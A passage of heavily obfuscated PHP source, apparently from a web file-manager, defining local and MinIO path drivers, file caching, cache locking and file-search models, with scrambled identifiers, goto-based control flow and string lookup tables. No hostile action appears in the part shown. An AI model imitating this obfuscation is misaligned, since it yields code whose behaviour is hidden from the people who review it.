if ($B؈ۑ == $A[93] || $B؈ۑ == $A[1161]) { continue; } if (!strstr($B؈ۑ, $A[8])) { $B؈ۑ = $a . ltrim($B؈ۑ, $A[8]); } $Bʞ[] = $this->iconvApp($B؈ۑ); } return $Bʞ; goto d; d: } private function recursionFtpFiles($d֊, &$c诤) { $dǥ =& $_SERVER[ѽ]; if (!$this->_isconn()) { return !1; } if (!($b = $this->ftpList($d֊))) { return !1; } foreach ($b as $d֊) { if ($this->isFolder($d֊)) { $this->recursionFtpFiles($d֊, $c诤); $c诤[$dǥ[74]][] = $d֊; } else { $c诤[$dǥ[73]][] = $d֊; } } } private function objectMeta($fω) { goto fᅱ; fᅱ: $fŒ =& $_SERVER[ѽ]; $cݛ = $fŒ[1162] . md5($fω); $Dۖ = Cache::get($cݛ); goto EǾ; EǾ: if ($Dۖ !== null && $Dۖ !== !1) { return $Dۖ; } if (!$this->_isconn()) { return !1; } @ftp_chdir($this->connect, $fŒ[8]); goto EʙՔ; EʙՔ: $c݉ζ = @ftp_size($this->connect, $this->iconvSystem($fω)); if ($c݉ζ != -1) { $Dۖ = array($fŒ[77] => $c݉ζ, $fŒ[29] => $fŒ[164]); } else { $bџ = @ftp_chdir($this->connect, $this->iconvSystem($fω)); $Dۖ = $bџ ? array($fŒ[77] => 0, $fŒ[29] => $fŒ[76]) : !1; } Cache::set($cݛ, $Dۖ, 0); goto FȻ; FȻ: return $Dۖ; goto E; E: } } class PathDriverLocal extends PathDriverBase { public function __construct() { parent::__construct(); } public function getPath($FÎ) { if (substr($FÎ, 0, 2) == $_SERVER[ѽ][1151]) { $FÎ = BASIC_PATH . substr($FÎ, 2); } return $FÎ; } public function iconvApp($aҚ) { $Cмɶ =& $_SERVER[ѽ]; global $config; return $this->iconvTo($aҚ, $config[$Cмɶ[1149]], $config[$Cмɶ[1148]]); } public function iconvSystem($f) { $aܾ =& $_SERVER[ѽ]; global $config; return $this->iconvTo($f, $config[$aܾ[1148]], $config[$aܾ[1149]]); } public function getPathOuter($Fϕ柪) { goto F; a׸: if (substr($A߿, 0, 2) == $Dۮԫ[1151]) { $A߿ = BASIC_PATH . substr($A߿, 2); } if (substr($Fϕ柪, 0, 2) == $Dۮԫ[1151]) { $Fϕ柪 = BASIC_PATH . substr($Fϕ柪, 2); } $A߿ = KodIO::clear($A߿); goto a񫍄֐; E缘: return $this->pathDriver . $Dۮԫ[8] . ltrim($Fϕ柪, $Dۮԫ[8]); goto A; a񫍄֐: $Fϕ柪 = KodIO::clear($Fϕ柪); $Fϕ柪 = substr($Fϕ柪, strlen($A߿)); if (empty($this->pathDriver)) { return $Fϕ柪; } goto E缘; F: $Dۮԫ =& $_SERVER[ѽ]; $A߿ = $this->iconvApp($this->pathBase); $Fϕ柪 = $this->iconvApp($Fϕ柪); goto a׸; A: } public function mkfile($d, $aЇ = '', $C̲ = REPEAT_RENAME) { $d = $this->iconvSystem($d); @touch($d); if ($aЇ) { file_put_contents($d, $aЇ); } return is_file($d) ? $this->getPathOuter($d) : !1; } public function mkdir($Eڹ, $C߄ = REPEAT_SKIP) { $Eڹ = $this->iconvSystem($Eڹ); if (is_dir($Eڹ)) { return $this->getPathOuter($Eڹ); } @mkdir($Eڹ, 511, !0); return is_dir($Eڹ) ? $this->getPathOuter($Eڹ) : !1; } public function copyFile($B, $b럩) { $this->mkdir($this->pathFather($b럩)); $B = $this->iconvSystem($B); $b럩 = $this->iconvSystem($b럩); $e = @copy($B, $b럩); return $e ? $this->getPathOuter($b럩) : !1; } public function moveFile($eӓ, $Cٕ¥) { $this->mkdir($this->pathFather($Cٕ¥)); $eӓ = $this->iconvSystem($eӓ); $Cٕ¥ = $this->iconvSystem($Cٕ¥); $aɸ˺ = intval(@rename($eӓ, $Cٕ¥)); if (!$aɸ˺) { if ($aɸ˺ = intval(@copy($eӓ, $Cٕ¥))) { @unlink($eӓ); } } return $aɸ˺ ? $this->getPathOuter($Cٕ¥) : !1; } public function delFile($c) { $c = $this->iconvSystem($c); if (!@unlink($c)) { @chmod($c, 511); if (!@unlink($c)) { return !1; } } else { return !0; } } public function delFolder($b墷) { goto dآݍ; f: if (!($F˟ѳ = opendir($b墷))) { return !1; } while (($Eۣ = readdir($F˟ѳ)) !== !1) { if ($Eۣ == $b[93] || $Eۣ == $b[1161]) { continue; } $dٚ = $b墷 . $b[8] . $Eۣ; if (!is_dir($dٚ)) { if (!unlink($dٚ)) { chmod($dٚ, 511); if (!unlink($dٚ)) { return !1; } } } else { chmod($dٚ, 511); $dٚ = $this->iconvApp($dٚ); if (!$this->delFolder($dٚ)) { return !1; } } } closedir($F˟ѳ); goto Fњ񊚼; dآݍ: $b =& $_SERVER[ѽ]; $b墷 = $this->iconvSystem($b墷); if (!is_dir($b墷)) { return !0; } goto f; Fњ񊚼: return rmdir($b墷); goto aм; aм: } public function rename($eǙ, $Aꈠ) { goto B; a؇: $e޳Ī = @rename($eǙ, $Eˊ); $Eˊ = $this->iconvApp($Eˊ); return $e޳Ī ? $this->getPathOuter($Eˊ) : !1; goto Cݣ; B: $Aɺ =& $_SERVER[ѽ]; $B̪ʼ = $this->fileNameAuto($this->pathFather($eǙ), $Aꈠ); $B̪ʼ = $this->iconvSystem($B̪ʼ); goto C; C: $eǙ = $this->iconvSystem($eǙ); $c = $this->pathFather($eǙ); $Eˊ = rtrim($c, $Aɺ[8]) . $Aɺ[8] . $B̪ʼ; goto a؇; Cݣ: } public function size($Fϊ) { $Fϊ = $this->iconvSystem($Fϊ); return (double) abs(sprintf($_SERVER[ѽ][1163], @filesize($Fϊ))); } public function info($Cʫ) { $Cʫ = $this->iconvSystem($Cʫ); if ($this->isFolder($Cʫ)) { return $this->folderInfo($Cʫ); } else { if ($this->isFile($Cʫ)) { return $this->fileInfo($Cʫ); } } return !1; } protected function infoChildren($a嵼, &$Fރ, $e = true) { $bǜѾ =& $_SERVER[ѽ]; $a嵼 = rtrim($a嵼, $bǜѾ[8]) . $bǜѾ[8]; if ($e) { check_abort(); $a嵼 = $this->iconvSystem($a嵼); } if (!($EԬӷ = @opendir($a嵼))) { return; } while (($DĈ = readdir($EԬӷ)) !== !1) { if ($DĈ == $bǜѾ[93] || $DĈ == $bǜѾ[1161]) { continue; } $e䍉 = $a嵼 . $DĈ; if (is_file($e䍉)) { $Fރ[$bǜѾ[78]]++; $Fރ[$bǜѾ[77]] += (double) abs(sprintf($bǜѾ[1163], @filesize($e䍉))); } else { $Fރ[$bǜѾ[79]]++; $this->infoChildren($e䍉, $Fރ, !1); } } closedir($EԬӷ); } private function folderInfo($E, $dÌ = false) { $Cۇ =& $_SERVER[ѽ]; $E = rtrim($E, $Cۇ[8]) . $Cۇ[8]; $C = $this->iconvApp($this->pathThis($E)); if ($dÌ) { return array($Cۇ[28] => $C, $Cۇ[75] => $this->getPathOuter($E), $Cۇ[29] => $Cۇ[76]); } $Aڲ = array($Cۇ[28] => $C, $Cۇ[75] => $this->getPathOuter($E), $Cۇ[29] => $Cۇ[76], $Cۇ[184] => @filectime($E), $Cۇ[107] => @filemtime($E), $Cۇ[1164] => @fileatime($E), $Cۇ[1158] => is_readable($E), $Cۇ[1159] => is_writable($E), $Cۇ[1165] => get_mode($E)); return $Aڲ; } private function fileInfo($a, $D֐ = false) { $A’ =& $_SERVER[ѽ]; $E˪ = $this->iconvApp($this->pathThis($a)); if ($D֐) { return array($A’[28] => $E˪, $A’[75] => $this->getPathOuter($a), $A’[29] => $A’[164], $A’[77] => $this->size($a), $A’[157] => $this->ext($E˪)); } $aό҈ = array($A’[28] => $E˪, $A’[75] => $this->getPathOuter($a), $A’[29] => $A’[164], $A’[184] => @filectime($a), $A’[107] => @filemtime($a), $A’[1164] => @fileatime($a), $A’[77] => $this->size($a), $A’[157] => $this->ext($E˪), $A’[1158] => is_readable($a), $A’[1159] => is_writable($a), $A’[1165] => get_mode($a)); return $aό҈; } public function exist($Cɡ֖) { $Cɡ֖ = $this->iconvSystem($Cɡ֖); return @file_exists($Cɡ֖); } public function isFile($Eۇ) { $Eۇ = $this->iconvSystem($Eۇ); return @is_file($Eۇ); } public function isFolder($FՐ) { $FՐ = $this->iconvSystem($FՐ); return @is_dir($FՐ); } public function listPath($ađ, $E쵓 = false) { goto C; C: $aꮽ =& $_SERVER[ѽ]; $ađ = $this->iconvSystem($ađ); $ađ = rtrim($ađ, $aꮽ[8]) . $aꮽ[8]; goto Fˮ; Fˮ: $Eُ = array($aꮽ[74] => array(), $aꮽ[73] => array()); if (!($a = @opendir($ađ))) { return $Eُ; } while (($A = readdir($a)) !== !1) { if ($A == $aꮽ[93] || $A == $aꮽ[1161]) { continue; } $d̙ = $ađ . $A; if (is_file($d̙)) { $Eُ[$aꮽ[73]][] = $this->fileInfo($d̙, $E쵓); } else { $Eُ[$aꮽ[74]][] = $this->folderInfo($d̙, $E쵓); } } goto cϊ; cϊ: closedir($a); return $Eُ; goto bҤ; bҤ: } public function listAll($D, &$eĉ = array()) { goto f΃; dϷΧ: return $eĉ; goto A; f΃: $F =& $_SERVER[ѽ]; $D = $this->iconvSystem($D); $D = rtrim($D, $F[8]) . $F[8]; goto cĺ; cĺ: if (!($e = @opendir($D))) { return $eĉ; } while (($a˗ƈ = readdir($e)) !== !1) { if ($a˗ƈ == $F[93] || $a˗ƈ == $F[1161]) { continue; } $eȑˏ = $D . $a˗ƈ; if (is_dir($eȑˏ)) { $eĉ[] = array($F[75] => $eȑˏ . $F[8], $F[76] => 1, $F[77] => 0); $this->listAll($eȑˏ, $eĉ); } else { $eĉ[] = array($F[75] => $eȑˏ, $F[76] => 0, $F[77] => $this->size($eȑˏ)); } } closedir($e); goto dϷΧ; A: } public function has($F, $dǖ = false, $aۧ = true) { goto d褏; d褏: $D =& $_SERVER[ѽ]; $F = $this->iconvSystem($F); $F = rtrim($F, $D[8]) . $D[8]; goto Cȉ迨; fऱ: return !1; goto f; Cȉ迨: if (!($a = @opendir($F))) { return !1; } $eцʆ = 0; $C󇄿 = 0; goto cΗ; cΗ: while (($e = readdir($a)) !== !1) { if ($e == $D[93] || $e == $D[1161]) { continue; } $cڿֈ = $F . $e; if ($dǖ) { if (@is_file($cڿֈ)) { $eцʆ++; } else { $C󇄿++; } continue; } if ($aۧ) { if (@is_file($cڿֈ)) { return !0; } } else { if (@is_dir($cڿֈ . $D[8])) { return !0; } } } closedir($a); if ($dǖ) { return array($D[188] => $eцʆ, $D[189] => $C󇄿); } goto fऱ; f: } public function hashSimple($c) { goto E땡; Fޞ: $dش = $this->size($c); $dޮ = 200; $Eߊ壙 = 50; goto E䐬Ľ; d텧: $C = fopen($c, $e֛[1166]); if (!$C) { return $fṏ; } for ($e = 0; $e < $Eߊ壙; $e++) { fseek($C, $A˺ * $e); $fṏ .= fread($C, $dޮ); } goto a; e: return md5($fṏ) . $dش; goto DͥШ; E䐬Ľ: if ($dش <= $dޮ * $Eߊ壙) { return $this->hashMd5($c) . $dش; } $fṏ = $e֛[33]; $A˺ = intval($dش / $Eߊ壙); goto d텧; a: fseek($C, $dش - $dޮ); $fṏ .= fread($C, $dޮ); fclose($C); goto e; E땡: $e֛ =& $_SERVER[ѽ]; if (!$c) { return md5($e֛[33]); } $c = $this->iconvSystem($c); goto Fޞ; DͥШ: } public function getContent($DϹ) { $DϹ = $this->iconvSystem($DϹ); return file_get_contents($DϹ); } public function setContent($EȮ, $B = '') { $EȮ = $this->iconvSystem($EȮ); @file_put_contents($EȮ, $B, LOCK_EX); clearstatcache(); return strlen($B) == filesize($EȮ); } public function fileSubstr($d, $FȇԿ = 0, $eΛ¹ = false) { goto C; C: $dž =& $_SERVER[ѽ]; $d = $this->iconvSystem($d); if ($eΛ¹ === !1) { $eΛ¹ = $this->size($d); } goto d˶; d˶: if ($eΛ¹ <= 0) { return $dž[33]; } $Eٕ = fopen($d, $dž[1166]); if (!$Eٕ) { return !1; } goto cž; B네: return $B; goto aޱ; cž: fseek($Eٕ, $FȇԿ); $B = fread($Eٕ, $eΛ¹); fclose($Eٕ); goto B네; aޱ: } public function upload($cԙ, $f򘻯, $f诘 = false, $Dɶ݋ = REPEAT_REPLACE) { $Eݮߊ = $this->copyFile($f򘻯, $cԙ); return $Eݮߊ ? $this->getPathOuter($cԙ) : !1; } public function download($a, $F҃) { return $this->iconvSystem($a); } } class PathDriverMinIO extends PathDriverBaseS3 { public function __construct($Bѹ) { parent::__construct($Bѹ); $this->signatureVersion($_SERVER[ѽ][197]); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } } goto E; bݿ: class CacheFile { public $cachePath; public $prefix; public $cacheTime; public function __construct($e򨣧, $Cل) { $E͹ =& $_SERVER[ѽ]; $this->cachePath = $e򨣧[$E͹[75]]; $this->prefix = $E͹[770]; $this->cacheTime = $Cل; if (!file_exists($this->cachePath)) { mkdir($this->cachePath, 511, !0); } } public function getFile($FŮ) { $b =& $_SERVER[ѽ]; $FŮ = str_replace(array($b[771], $b[95], $b[69]), $b[772], $FŮ); return $this->cachePath . $b[773] . $FŮ . $b[774]; } public function set($A˛, $b瓝, $c񺑐Т = false) { $DƦܨ = $this->getFile($A˛); if (file_put_contents($DƦܨ, $this->prefix . $b瓝, LOCK_EX)) { return !0; } @unlink($DƦܨ); return !1; } public function get($EΙВ) { $c = $this->getFile($EΙВ); if (file_exists($c) && filemtime($c) < time() - $this->cacheTime) { @unlink($c); return !1; } $F = @file_get_contents($c); return substr($F, strlen($this->prefix)); } public function remove($D奺㫍) { $b􎺻 = $this->getFile($D奺㫍); return @unlink($b􎺻); } public function deleteAll() { $E冈 =& $_SERVER[ѽ]; $F„ = scandir($this->cachePath); foreach ($F„ as $A) { $aߑ = $this->cachePath . $A; if (strpos($aߑ, $E冈[774]) && strpos($aߑ, $E冈[775])) { @unlink($aߑ); } } } public function clearTimeout() { $b삔 =& $_SERVER[ѽ]; $dž = scandir($this->cachePath); foreach ($dž as $dǍۥ) { $cȊ = $this->cachePath . $dǍۥ; if (strpos($cȊ, $b삔[774]) && strpos($cȊ, $b삔[775]) && filemtime($cȊ) < time() - $this->cacheTime) { @unlink($cȊ); } } } } class CacheLock { protected static $handle; protected static $timeout; protected static $errorMsg = ''; protected static $lockItem = array(); public static function init() { goto aꈶ; aꈶ: $Fܑٕ =& $_SERVER[ѽ]; if (self::$handle) { return self::$handle; } $Cʚ = $GLOBALS[$Fܑٕ[6]][$Fܑٕ[334]]; goto d; d: self::$timeout = $Cʚ[$Fܑٕ[776]] ? $Cʚ[$Fܑٕ[776]] : 10; $eɜ = _get($GLOBALS[$Fܑٕ[6]], $Fܑٕ[777]); $E쐌 = $Cʚ[$Fܑٕ[763]] ? $Cʚ[$Fܑٕ[763]] : $Fܑٕ[164]; goto d٤쳏ʎ; d٤쳏ʎ: if ($E쐌 == $Fܑٕ[17] && $eɜ == $Fܑٕ[9]) { $E쐌 = $Fܑٕ[164]; } switch ($E쐌) { case $Fܑٕ[766]: self::$handle = new CacheLockRedis(); break; case $Fܑٕ[767]: self::$handle = new CacheLockMemcached(); break; case $Fܑٕ[17]: self::$handle = new CacheLockDatabase(); break; case $Fܑٕ[164]: self::$handle = new CacheLockFile(); break; default: break; } return self::$handle; goto Fē; Fē: } private static function key($FܥŘ) { return $_SERVER[ѽ][778] . Cache::key($FܥŘ); } public static function initReset() { self::$handle = !1; } public static function setErrorMsg($bׅ۟ = '') { self::$errorMsg = $bׅ۟; } public static function lockGlobal($bۺꗽ, $F) { return self::lock($bۺꗽ, $F, !0); } public static function lock($C, $FӚ = false, $C֝ = false) { goto Aįʞ; F: $FӚ = $FӚ ? $FӚ : self::$timeout; $ażҏ = $AՒŷ->lock($EߍӮ, $FӚ); if (!$ażҏ) { $c = $BϾ[779] . $FӚ . $BϾ[67] . self::$errorMsg . $BϾ[67] . get_caller_msg(); $D˷ = "\x4c\x6f\143\153\40\x61\x63\x74\151\157\x6e\72\40{$EߍӮ}\40\x74\151\155\145\x6f\165\164\54\157\x76\145\162\40{$FӚ}\40\x73"; $D˷ = self::$errorMsg ? self::$errorMsg : $fԬ; write_log($c, $BϾ[780]); show_json($D˷, !1); } goto bƄ; bƄ: if (!$C֝) { self::$lockItem[$EߍӮ] = !0; } return $ażҏ; goto f•; Aįʞ: $BϾ =& $_SERVER[ѽ]; $AՒŷ = self::init(); $EߍӮ = self::key($C); goto F; f•: } public static function lockGet($fǐ) { $FԔձ = self::key($fǐ); if (self::$lockItem[$FԔձ]) { return self::$lockItem[$FԔձ]; } return self::init()->lockGet($FԔձ); } public static function unlock($E۵) { $D٤ = self::key($E۵); self::$lockItem[$D٤] = null; return self::init()->unlock($D٤); } public static function unlockRuntime() { $a° =& $_SERVER[ѽ]; $D߬ = self::init(); $Fυ = !1; foreach (self::$lockItem as $D => $f刄) { if (!$f刄) { continue; } $D߬->unlock($D); if (!$Fυ) { $Fυ = !0; write_log($a°[781] . $D . $a°[67] . get_caller_msg(), $a°[780]); continue; } write_log($a°[781] . $D, $a°[780]); } } } function cacheLockWait() { usleep(mt_rand(5, 50) * 100); } goto b; fĶ: class SourceListSearchModel extends SourceListMoveModel { public static function fileTypeWhere($e) { goto A䧊; A䧊: $bۄޖ =& $_SERVER[ѽ]; $cث = KodIO::fileTypeList(); $a = $cث[$e]; goto cІ; EՂ: if (!$a[$bۄޖ[157]]) { $c = array_to_keyvalue($cث, $bۄޖ[33], $bۄޖ[157]); $DɃ = implode($bۄޖ[47], $c); $dҐƻ = $bۄޖ[2234]; } $cǮ = explode($bۄޖ[47], trim($DɃ, $bۄޖ[47])); return array($dҐƻ, $cǮ); goto c; cІ: if (!$a) { return array(); } $DɃ = $a[$bۄޖ[157]]; $dҐƻ = $bۄޖ[7]; goto EՂ; c: } public function listPathType($D֊) { $D =& $_SERVER[ѽ]; $EՎΣ = $this->fileTypeWhere($D֊); if (!$EՎΣ) { return array(); } $F = array($D[517] => SourceModel::TYPE_USER, $D[518] => USER_ID, $D[514] => 0, $D[515] => $EՎΣ); return $this->listSource($F); } public function listSearch($FŻ, $DӍ = 300) { goto Eʍ; C: $this->_listSearchDesc($DΩ, $FŻ, $eꍅ); $this->_listSearchTag($DΩ, $FŻ, $eꍅ); $this->_listDataApply($DΩ[$A[351]]); goto c; c: $this->_listMake($DΩ); return $DΩ; goto BÝ; Dэ: if (!isset($AȺ[$A[393]])) { $AȺ[$A[393]] = 0; } $c니嗇 = $A[2279]; $eꍅ = $c니嗇; goto AŶ; Eʍ: $A =& $_SERVER[ѽ]; if (isset($FŻ[$A[2156]]) && $FŻ[$A[2156]]) { $FŻ[$A[2156]] = str_replace($A[1569], $A[2278], trim($FŻ[$A[2156]])); } $AȺ = $this->_parseSearchWhere($FŻ); goto Dэ; AŶ: $this->_listSearchBindPinyin($FŻ, $AȺ, $c니嗇); $this->alias($A[483])->_makeOrder()->cache(null, 10); $DΩ = $this->distinct(!0)->field($c니嗇)->where($AȺ)->selectPage($DӍ); goto C; BÝ: } private function _listSearchTag(&$bͣ, $d, $D) { goto b; b: $b眝 =& $_SERVER[ѽ]; if (!$d[$b眝[2156]] || $bͣ[$b眝[348]][$b眝[337]] > 1) { return; } $C = Model($b眝[2280])->listData(); goto bΊ; bΊ: $aꉆ = array(); $a􌩏 = $d[$b眝[2156]]; foreach ($C as $Fǎ) { $fɅܗ = $Fǎ[$b眝[28]]; $dէ = str_replace($b眝[50], $b眝[33], Pinyin::encode($fɅܗ)); if (stripos($fɅܗ, $a􌩏) !== !1 || stripos($dէ, $a􌩏) !== !1) { $aꉆ[] = $Fǎ[$b眝[364]]; } } goto Cһ; Cһ: if (!$aꉆ) { return; } $e = array($b眝[390] => array($b眝[7], $aꉆ)); $c޵ŭ = Model($b眝[2281])->field($b眝[75])->where($e)->select(); goto Eٖ뇅; Eٖ뇅: $c޵ŭ = array_to_keyvalue($c޵ŭ, $b眝[33], $b眝[75]); $Aѣ = array_unique($c޵ŭ); $this->_listSearchMerge($bͣ, $d, $D, $Aѣ); goto c; c: } private function _listSearchDesc(&$F, $Aϳɬ, $bч) { goto fᬬ; c: $F = array_unique($F); if (!$F) { return; } $b = array($aԣ[366] => array($aԣ[7], $F), $aԣ[89] => $aԣ[401], $aԣ[356] => array($aԣ[761], $aԣ[2158] . $Aϳɬ[$aԣ[2156]] . $aԣ[2158])); goto FӃ; FӃ: $Ań = Model($aԣ[500])->field($aԣ[366])->where($b)->select(); $Aޒʭ = array_to_keyvalue($Ań, $aԣ[33], $aԣ[366]); $this->_listSearchMerge($F, $Aϳɬ, $bч, $Aޒʭ); goto d; fᬬ: $aԣ =& $_SERVER[ѽ]; if (!$Aϳɬ[$aԣ[2156]] || $F[$aԣ[348]][$aԣ[337]] > 1) { return; } $F = $this->listSearchChildren($Aϳɬ[$aԣ[457]]); goto c; d: } private function _listSearchMerge(&$A, $EÂ, $a닗, $b֡톰) { goto D̐; Fɿ: $Eٸ = array_diff($b֡톰, $a驅); if (!$Eٸ) { return; } $Dȟ = array($fё[366] => array($fё[7], $Eٸ)); goto Eԅ; Eԅ: $cÊ = $this->field($a닗)->where($Dȟ)->select(); if (!$cÊ) { return; } $B = array(); goto Dܢ; Dܢ: foreach ($cÊ as $b딲) { $aޙߎ = $fё[47] . $EÂ[$fё[457]] . $fё[47]; if (stripos($b딲[$fё[455]], $aޙߎ) !== !1) { $B[] = $b딲; } } $A[$fё[351]] = array_merge($B, $A[$fё[351]]); $A[$fё[348]][$fё[349]] += count($B); goto Fͫ; D̐: $fё =& $_SERVER[ѽ]; if (!$b֡톰) { return; } $a驅 = array_to_keyvalue($A[$fё[351]], $fё[33], $fё[366]); goto Fɿ; Fͫ: } public function listSearchChildren($Dә, $b = 5000) { goto FÉ; fȵ‰: $Fԍ = array($bٙ[455] => array($bٙ[761], $e[$bٙ[455]] . $e[$bٙ[366]] . $bٙ[480])); $b뚺 = $this->field($bٙ[366])->cache(null, 600)->where($Fԍ)->count(); if ($b뚺 > $b) { return $this->_listSearchChildrenNear($Dә, $b); } goto F; FÉ: $bٙ =& $_SERVER[ѽ]; $EƒǾ = array(); $e = $this->sourceInfo($Dә); goto fȵ‰; F: $aΘת = $this->field($bٙ[366])->where($Fԍ)->select(); $EƒǾ = array_to_keyvalue($aΘת, $bٙ[33], $bٙ[366]); return $EƒǾ; goto c茯; c茯: } private function _listSearchChildrenNear($cы, $d) { goto A똫; Eʧ: if (!$E) { return $e׬; } $Fᠹ = array($a̸[457] => array($a̸[7], $E)); $C = $this->field($a̸[2282])->where($Fᠹ)->select(); goto cʼn̊; a򶨷: $C = $this->field($a̸[2282])->where($Fᠹ)->select(); $E = array_to_keyvalue(array_filter_by_field($C, $a̸[367], $a̸[83]), $a̸[33], $a̸[366]); $e׬ = array_merge($e׬, array_to_keyvalue($C, $a̸[33], $a̸[366])); goto Eʧ; A똫: $a̸ =& $_SERVER[ѽ]; $e׬ = array(); $Fᠹ = array($a̸[457] => $cы); goto a򶨷; cʼn̊: $e׬ = array_merge($e׬, array_to_keyvalue($C, $a̸[33], $a̸[366])); $e׬ = array_slice($e׬, 0, $d); return $e׬; goto C÷; C÷: } private function _listSearchBindPinyin($cڞܮ, &$C, &$cѮ噪) { goto cՑ̻; EĦ: unset($C[$E帄[28]]); foreach ($C as $cøט => $B֏) { $Bʞ[$E帄[2284] . $cøט] = $B֏; } $dܒ = array($E帄[479], $E帄[2158] . $cڞܮ[$E帄[2156]] . $E帄[2158]); goto f⮄; cՑ̻: $E帄 =& $_SERVER[ѽ]; if (!Input::check($cڞܮ[$E帄[2156]], $E帄[303]) || strlen($cڞܮ[$E帄[2156]]) < 2) { return; } $E = "\x4c\x45\106\x54\x20\x4a\x4f\111\116\40{$this->tablePrefix}\151\157\137\x73\157\165\162\143\145\137\155\x65\x74\141\x20\x6d\x65\164\x61\x20\157\x6e\x20\163\x6f\x75\x72\x63\145\56\163\157\165\162\143\x65\x49\x44\x20\x3d\x20\155\x65\164\141\x2e\163\157\165\162\143\145\111\x44"; goto c琦̊; c琦̊: $Bʞ = array(); $cѮ噪 = str_replace(array($E帄[214], $E帄[50], $E帄[2283]), $E帄[33], $cѮ噪); $cѮ噪 = $E帄[2284] . str_replace($E帄[47], $E帄[2285], $cѮ噪); goto EĦ; f⮄: $Bʞ[] = array($E帄[2286] => $dܒ, $E帄[920] => $E帄[2160], array($E帄[2287] => $dܒ, $E帄[2288] => array($E帄[7], array($E帄[412], $E帄[411])))); $this->join($E); $C = $Bʞ; goto e߬媃; e߬媃: } private function _parseSearchWhere($d܌) { goto c; c: $f =& $_SERVER[ѽ]; $bی = array(); if (isset($d܌[$f[712]])) { $bی[$f[107]] = array($f[2289], $d܌[$f[712]]); } goto D; D: if (isset($d܌[$f[713]])) { $cџ = array($f[2290], $d܌[$f[713]]); if ($bی[$f[107]]) { $bی[$f[107]] = array($bی[$f[107]], $cџ, $f[2291]); } else { $bی[$f[107]] = $cџ; } } if (isset($d܌[$f[2292]])) { $bی[$f[77]] = array($f[2289], $d܌[$f[2292]]); } if (isset($d܌[$f[2293]])) { $cџ = array($f[2290], $d܌[$f[2293]]); if ($bی[$f[77]]) { $bی[$f[77]] = array($bی[$f[77]], $cџ, $f[2291]); } else { $bی[$f[77]] = $cџ; } } goto A㈕; A㈕: if (isset($d܌[$f[531]])) { $bی[] = array($f[376] => $d܌[$f[531]], $f[375] => $d܌[$f[531]], $f[920] => $f[2160]); } if (isset($d܌[$f[369]])) { $d = $d܌[$f[369]]; if ($d == $f[76]) { $bی[$f[367]] = 1; } else { if ($d == $f[2294]) { $bی[$f[367]] = 0; } else { if ($d) { $d = is_array($d) ? $d : explode($f[47], $d); $bی[$f[369]] = array($f[381], $d); $bی[$f[367]] = 0; } } } } if (isset($d܌[$f[457]])) { $Bʢړ = $this->sourceInfo($d܌[$f[457]]); $bی[$f[521]] = array($f[479], $Bʢړ[$f[455]] . $d܌[$f[457]] . $f[480]); } goto bͯ; bͯ: if (isset($d܌[$f[2156]]) && $d܌[$f[2156]]) { $f§ = $d܌[$f[2156]]; $bǍ = explode($f[50], $f§); if (strlen($f§) > 2 && (substr($f§, 0, 1) == $f[113] && substr($f§, -1) == $f[113]) || substr($f§, 0, 1) == $f[55] && substr($f§, -1) == $f[55]) { $f§ = substr($f§, 1, -1); $bǍ = array($f§); } $bی[$f[28]] = array($f[479], $f[2158] . $f§ . $f[2158]); if (count($bǍ) > 1) { $bی[$f[28]] = array(); foreach ($bǍ as $c׶æ) { if (!trim($c׶æ)) { continue; } $bی[$f[28]][] = array($f[479], $f[2158] . trim($c׶æ) . $f[2158]); } } } return $bی; goto fʳ; fʳ: } } class SourceModel extends SourceListSearchModel { public $statusIgnoreResetSpace = false; public function userRootAdd($e닯) { $b =& $_SERVER[ѽ]; $c = Model($b[470])->where(array($b[1408] => $e닯))->find(); $A׬񇧲 = $this->_mkdirRoot(SourceModel::TYPE_USER, $e닯, $c[$b[28]]); $this->userDesktopAdd($A׬񇧲); return $A׬񇧲; } public function userDesktopAdd($Cςݥ) { $B҇˙ =& $_SERVER[ѽ]; $a֊ = LNG($B҇˙[2295]); $a؝ = $this->mkdir($Cςݥ, $a֊); $this->metaSet($a؝, $B҇˙[2296], $B҇˙[83]); $this->metaSet($Cςݥ, $B҇˙[2297], $a؝); } public function groupRootAdd($A̜) { $c𦥣 =& $_SERVER[ѽ]; $b = Model($c𦥣[454])->where(array($c𦥣[2152] => $A̜))->find(); return $this->_mkdirRoot(SourceModel::TYPE_GROUP, $A̜, $b[$c𦥣[28]]); } public function systemRootPathAdd($B򔱽) { if ($B򔱽 != $_SERVER[ѽ][1093]) { return !1; } return $this->_mkdirRoot(SourceModel::TYPE_SYSTEM, 0, $B򔱽); } public function userRootRemove($E) { $d = $this->sourceRoot(SourceModel::TYPE_USER, $E); if (!$d) { return; } $this->remove($d, !1); } public function groupRootRemove($a‹) { $e򬹼 = $this->sourceRoot(SourceModel::TYPE_GROUP, $a‹); if (!$e򬹼) { return; } $this->remove($e򬹼, !1); } private function _mkdirRoot($B, $cԌ, $D) { goto c; c: $B䳢 =& $_SERVER[ѽ]; $B꿖 = array($B䳢[365] => 0, $B䳢[517] => $B, $B䳢[518] => $cԌ, $B䳢[514] => 1, $B䳢[519] => USER_ID, $B䳢[520] => USER_ID, $B䳢[515] => $B䳢[33], $B䳢[521] => $B䳢[466], $B䳢[392] => 0, $B䳢[516] => 0, $B䳢[416] => 0, $B䳢[522] => $B䳢[33]); if ($B = $this->where($B꿖)->find()) { return $B[$B䳢[366]]; } goto eꍽ; aǘ: CacheLock::unlock($bʩ); return $E̾; goto B㢬Ց; eꍽ: $bʩ = "\x4d\157\144\145\154\x53\157\x75\162\143\145\56\x6d\153\x64\x69\x72\x52\157\157\x74\x2e{$B}\x2e{$cԌ}\56" . $D; CacheLock::lock($bʩ); $B꿖[$B䳢[28]] = $D; goto Eѭ; Eѭ: $E̾ = $this->add($B꿖); $B¼ = array($B䳢[523] => short_id($E̾)); $this->where(array($B䳢[380] => $E̾))->save($B¼); goto aǘ; B㢬Ց: } private function sourceRoot($e͍, $dщ琐, $fԐ = false) { $eڜ =& $_SERVER[ѽ]; $c߭ = array($eڜ[365] => 0, $eڜ[517] => $e͍, $eڜ[518] => $dщ琐); if ($AΞ = $this->where($c߭)->find()) { return $fԐ ? $AΞ : $AΞ[$eڜ[366]]; } return !1; } public function sourceRootGroup($c粒) { $Bꃐ =& $_SERVER[ѽ]; if (is_string($c粒)) { $c粒 = array($c粒); } $BԹ휇 = array($Bꃐ[365] => 0, $Bꃐ[517] => SourceModel::TYPE_GROUP, $Bꃐ[518] => array($Bꃐ[7], $c粒)); $eپ = $this->listSource($BԹ휇, 1000); return array_to_keyvalue($eپ[$Bꃐ[74]], $Bꃐ[452]); } public function mkfile($D셶, 